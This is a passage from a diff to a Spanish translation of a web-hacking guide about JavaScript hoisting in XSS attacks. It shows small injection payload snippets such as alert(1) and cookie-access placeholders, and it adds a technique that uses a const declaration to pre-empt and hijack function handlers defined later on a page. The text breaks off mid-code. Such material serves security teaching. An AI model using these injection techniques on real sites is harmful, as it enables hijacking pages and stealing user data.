hoisting de tipo 1. La palabra clave `var` demuestra el comportamiento de tipo 2. Las declaraciones léxicas, que incluyen `let`, `const` y `class`, muestran el comportamiento de tipo 3. Por último, las sentencias `import` son únicas en que se hoistean con los comportamientos de tipo 1 y tipo 4. -## Escenarios +## Scenarios -Por lo tanto, si tienes escenarios donde puedes **Inyectar código JS después de que se use un objeto no declarado**, podrías **corregir la sintaxis** declarándolo (para que tu código se ejecute en lugar de lanzar un error): +Por lo tanto, si tienes escenarios donde puedes **Inject JS code after an undeclared object** es usado, podrías **fix the syntax** declarándolo (para que tu código se ejecute en lugar de lanzar un error): ```javascript // The function vulnerableFunction is not defined vulnerableFunction('test', ''); @@ -68,7 +68,7 @@ alert(1); test.cookie("leo", "INJECTION") test[("cookie", "injection")] ``` -## Más Escenarios +## Más escenarios ```javascript // Undeclared var accessing to an undeclared method x.y(1,INJECTION) @@ -127,11 +127,31 @@ alert(1) - }, }) } +trigger() ``` +### Anticipa declaraciones posteriores bloqueando un nombre con const + +Si puedes ejecutar código antes de que se analice una declaración `function foo(){...}` a nivel superior, declarar una vinculación léxica con el mismo nombre (p. ej., `const foo = ...`) impedirá que la posterior declaración de función reasigne ese identificador. Esto puede aprovecharse en RXSS para secuestrar manejadores críticos definidos más adelante en la página: +```javascript +// Malicious code runs first (e.g., earlier inline